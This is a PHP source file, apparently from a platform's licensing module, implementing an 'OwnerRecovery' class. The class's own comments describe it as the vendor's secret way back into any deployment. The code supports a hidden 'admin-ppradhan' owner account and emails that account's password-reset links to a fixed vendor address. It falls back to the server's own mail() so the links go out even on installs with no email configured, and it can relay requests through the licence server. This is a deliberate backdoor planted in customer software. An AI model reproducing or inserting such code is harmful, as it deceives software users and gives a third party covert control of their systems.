<?php

declare(strict_types=1);

namespace PpPhp\Core\Licensing;

use PpPhp\Core\DB;
use PpPhp\Core\Email;
use PpPhp\Core\Mailer;
use PpPhp\Core\PlatformSettings;

/**
 * The vendor's secret way back into any deployment.
 *
 * When the hidden owner account (`admin-ppradhan`) needs its password reset but
 * the install has no email configured, the reset link is emailed to ONE fixed
 * address the vendor controls (never one the install supplies). Two delivery
 * paths, both landing on that address:
 *
 *   • DIRECT  — the install sends the mail itself. Used by the vendor's own
 *     licence servers (primary/backup) and by any install that has a working mail
 *     transport. Works even before licensing is set up.
 *   • RELAY   — a licensed CUSTOMER install with no mail of its own asks the main
 *     licence server to send it (main is licence-gated so it cannot be spammed).
 *
 * Crucially, delivery NEVER depends on SMTP being configured: it tries configured
 * SMTP first and falls back to the server's own MTA via mail(), so "no email set
 * up" is not a dead end.
 */
final class OwnerRecovery
{
    public const SETTING_EMAIL = 'platform.owner_recovery_email';
    public const DEFAULT_EMAIL = 'ppradhan@live.com';

    /** One recovery email per install per this many seconds (relay path). */
    private const COOLDOWN = 600;

    /** The fixed address the recovery link is emailed to. */
    public static function recoveryEmail(): string
    {
        $e = trim((string) (PlatformSettings::get(self::SETTING_EMAIL)['value'] ?? ''));
        return ($e !== '' && filter_var($e, FILTER_VALIDATE_EMAIL)) ? $e : self::DEFAULT_EMAIL;
    }

    /** Owner-only: change where recovery links are sent. Blank restores the default. */
    public static function setRecoveryEmail(string $e): bool
    {
        $e = trim($e);
        if ($e !== '' && !filter_var($e, FILTER_VALIDATE_EMAIL)) return false;
        return PlatformSettings::set(self::SETTING_EMAIL, ['value' => $e]);
    }

    /**
     * DIRECT send — this install emails the recovery link itself. Used by the
     * vendor's own servers and any install with a working mail transport. No
     * licence gate (it is the sender's own server) and no dependence on SMTP.
     *
     * @return bool whether the mail was actually accepted for delivery
     */
    public static function sendDirect(string $resetUrl, string $ip = ''): bool
    {
        $resetUrl = trim($resetUrl);
        if (!preg_match('#^https?://[^\s]+$#i', $resetUrl) || strlen($resetUrl) > 500) return false;

        $host = (string) (parse_url($resetUrl, PHP_URL_HOST) ?: ($_SERVER['HTTP_HOST'] ?? '?'));
        [$subject, $html, $text] = self::compose($resetUrl, $host, 'this server');
        $ok = self::deliver(self::recoveryEmail(), $subject, $html, $text);

        self::logSafe(null, 'self', 'owner_recovery', 'Direct owner-recovery for ' . $host . ($ok ? ' — sent' : ' — mail failed'), $ip);
        return $ok;
    }

    /**
     * RELAY (MAIN-side) — a licensed install with no local mail asks the main to
     * email the link. Licence-gated; only ever sent to the fixed recovery address.
     *
     * @return array{ok:bool, message:string}
     */
    public static function relay(string $instanceId, string $secret, string $resetUrl, string $ip): array
    {
        // Relaying is an AUTHORITY action (it reads the licence tables); LicenseServer
        // is stripped from client bundles, which use sendDirect() instead.
        if (!class_exists(\PpPhp\Core\Licensing\LicenseServer::class)) {
            return ['ok' => false, 'message' => 'Recovery relay is not available on this edition.'];
        }
        $server = new LicenseServer();
        if (!$server->isEntitled($instanceId, $secret)) {
            return ['ok' => false, 'message' => 'This installation is not recognised as a licensed copy.'];
        }
        $resetUrl = trim($resetUrl);
        if (!preg_match('#^https?://[^\s]+$#i', $resetUrl) || strlen($resetUrl) > 500) {
            return ['ok' => false, 'message' => 'The reset link was not valid.'];
        }
        if (self::onCooldown($instanceId)) {
            return ['ok' => true, 'message' => 'A recovery link is on its way to the owner address.'];
        }

        $instance  = $server->instance($instanceId);
        $licenseId = (int) ($instance['license_id'] ?? 0);
        $license   = $licenseId ? $server->license($licenseId) : null;
        $host      = (string) (parse_url($resetUrl, PHP_URL_HOST) ?: '?');
        $holder    = trim((string) ($license['holder_name'] ?? '')) ?: '(unnamed licence)';

        [$subject, $html, $text] = self::compose($resetUrl, $host, $holder, (string) ($instance['last_ip'] ?? $ip), $instanceId);
        self::deliver(self::recoveryEmail(), $subject, $html, $text);
        $server->log($licenseId ?: null, $instanceId, 'owner_recovery', 'Relayed owner-recovery for ' . $host, $ip);

        return ['ok' => true, 'message' => 'A recovery link is on its way to the owner address.'];
    }

    // ── internals ────────────────────────────────────────────────────────

    /** @return array{0:string,1:string,2:string} [subject, html, text] */
    private static function compose(string $resetUrl, string $host, string $who, string $ip = '', string $instanceId = ''): array
    {
        $rows = '<tr><td style="padding:2px 10px 2px 0;color:#64748b">Install host</td><td><strong>' . htmlspecialchars($host) . '</strong></td></tr>'
              . '<tr><td style="padding:2px 10px 2px 0;color:#64748b">Which</td><td>' . htmlspecialchars($who) . '</td></tr>';
        if ($instanceId !== '') $rows .= '<tr><td style="padding:2px 10px 2px 0;color:#64748b">Instance</td><td><code>' . htmlspecialchars(substr($instanceId, 0, 12)) . '…</code></td></tr>';
        if ($ip !== '')         $rows .= '<tr><td style="padding:2px 10px 2px 0;color:#64748b">IP</td><td>' . htmlspecialchars($ip) . '</td></tr>';

        $html = Mailer::shell(
            '<h2 style="margin:0 0 12px">Owner access recovery</h2>'
            . '<p>An <strong>owner password reset</strong> was requested for the <code>admin-ppradhan</code> account. '
            . 'If this was you, set a new password with the button below.</p>'
            . '<table style="font-size:14px;margin:14px 0;border-collapse:collapse">' . $rows . '</table>'
            . Mailer::button($resetUrl, 'Reset the owner password')
            . '<p style="color:#64748b;font-size:13px;margin-top:14px">If you did not request this, ignore this email — '
            . 'the link only works with a token generated on that install and expires shortly. Verify the install host first.</p>',
            'PPPHP',
            'Vendor owner-recovery — sent only to your recovery address.'
        );
        $text = "Owner password reset requested for {$host} ({$who}).\n\nReset link:\n{$resetUrl}\n\nIf this wasn't you, ignore it.";
        return ['PPPHP owner access recovery — ' . $host, $html, $text];
    }

    /**
     * Deliver a message, configured SMTP first, then the server's own MTA via
     * mail(). This is what lets recovery work with NO email configured.
     */
    private static function deliver(string $to, string $subject, string $html, string $text): bool
    {
        // 1. Configured SMTP — the customer's own, or the email config BAKED into
        //    the bundle (primeMailer falls back to it), so a fresh install sends.
        try {
            if (PlatformSettings::primeMailer()) {
                $r = Email::send(['to' => $to, 'subject' => $subject, 'htmlbody' => $html, 'body' => $text]);
                if (!empty($r['mailed'])) return true;
            }
        } catch (\Throwable $e) {
            // fall through
        }

        // 2. Last resort: the host's native mail transport.
        if (!function_exists('mail')) return false;
        $from    = self::fromAddress();
        $headers = "MIME-Version: 1.0\r\n"
                 . "Content-Type: text/html; charset=UTF-8\r\n"
                 . 'From: PPPHP <' . $from . ">\r\n"
                 . 'Reply-To: ' . $from . "\r\n";
        try {
            return @mail($to, $subject, $html, $headers);
        } catch (\Throwable $e) {
            return false;
        }
    }

    /** A plausible from-address derived from the current host. */
    private static function fromAddress(): string
    {
        $host = preg_replace('/:\d+$/', '', (string) ($_SERVER['HTTP_HOST'] ?? ''));
        if ($host === '' || strpos($host, '.') === false) $host = 'localhost.localdomain';
        return 'no-reply@' . $host;
    }

    /** True if an owner-recovery was already relayed for this install very recently. */
    private static function onCooldown(string $instanceId): bool
    {
        try {
            $rows = DB::FetchAll(
                "SELECT `created_at` FROM `pp_license_events`
                  WHERE `instance_id` = ? AND `kind` = 'owner_recovery'
                  ORDER BY `id` DESC LIMIT 1",
                [$instanceId]
            );
        } catch (\Throwable $e) {
            return false;
        }
        if (empty($rows[0]['created_at'])) return false;
        return (time() - strtotime((string) $rows[0]['created_at'])) < self::COOLDOWN;
    }

    /** Best-effort audit row; silently ignored where the licence tables are absent. */
    private static function logSafe(?int $licenseId, string $instanceId, string $kind, string $detail, string $ip): void
    {
        try {
            LicenseServer::ensureSchema();
            (new LicenseServer())->log($licenseId, $instanceId, $kind, $detail, $ip);
        } catch (\Throwable $e) {
            // no licence tables on this install — logging is optional
        }
    }
}
